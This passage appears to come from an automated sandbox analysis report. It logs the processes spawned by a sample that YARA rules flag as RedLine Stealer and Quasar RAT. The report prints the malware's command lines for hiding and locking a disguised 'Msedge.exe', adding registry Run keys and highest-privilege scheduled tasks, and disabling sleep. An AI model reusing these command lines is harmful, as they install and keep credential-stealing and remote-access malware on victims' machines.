Commandline:	C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit "
Imagebase:	0x7ff7e2410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:45:02
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:45:02
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe"
Imagebase:	0x5e0000
File size:	97'792 bytes
MD5 hash:	C9A9D471428A5F92068C0823E6454254
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:45:02
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe"
Imagebase:	0x7ff7e2410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe"
Imagebase:	0xb60000
File size:	3'305'984 bytes
MD5 hash:	3B4F58CD4BCA7274BE25E885BE00798B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 1
Imagebase:	0x7ff663a70000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe"
Imagebase:	0x7ff703cb0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA)
Imagebase:	0x7ff6b22a0000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe
Imagebase:	0x7ff7e2410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:45:03
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'
Imagebase:	0xb20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	#cmd
Imagebase:	0xca0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Msedge.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Msedge.exe
Imagebase:	0x7ff62b640000
File size:	81'920 bytes
MD5 hash:	65F0A85C4B056D6BCEE60C49E2372E35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 67%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe"
Imagebase:	0x7ff632020000
File size:	5'846'920 bytes
MD5 hash:	B9FC8581B52ABFC6B563DA731438E27D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:45:04
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
Imagebase:	0xc60000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff7e2410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
Wow64 process (32bit):	true
Commandline:	dw20.exe -x -s 1480
Imagebase:	0x10000000
File size:	36'264 bytes
MD5 hash:	89106D4D0BA99F770EAFE946EA81BB65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:45:05
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:45:06
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:45:06
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:45:07
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Imagebase:	0x3f0000
File size:	3'305'984 bytes
MD5 hash:	3B4F58CD4BCA7274BE25E885BE00798B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:45:10
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	#cmd
Imagebase:	0xdf0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:45:14
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Msedge.exe"
Imagebase:	0x7ff62b640000
File size:	81'920 bytes
MD5 hash:	65F0A85C4B056D6BCEE60C49E2372E35
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:45:22
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Imagebase:	0xe50000
File size:	3'305'984 bytes
MD5 hash:	3B4F58CD4BCA7274BE25E885BE00798B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:45:22
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	#cmd
Imagebase:	0xc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:45:23
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	#cmd
Imagebase:	0x1c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:45:23
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	#cmd
Imagebase:	0x290000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:45:23
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	#cmd
Imagebase:	0x4d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:45:23
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	#cmd
Imagebase:	0x580000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:45:31
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Msedge.exe"
Imagebase:	0x7ff62b640000
File size:	81'920 bytes
MD5 hash:	65F0A85C4B056D6BCEE60C49E2372E35
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff7e2410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7324, Parent PID: 7404

General

Target ID:	51
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	14:45:34
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	14:45:35
Start date:	26/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6f4020000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	14:45:39
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Imagebase:	0x640000
File size:	3'305'984 bytes
MD5 hash:	3B4F58CD4BCA7274BE25E885BE00798B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	14:45:39
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	#cmd
Imagebase:	0xa80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	14:46:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	14:46:05
Start date:	26/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
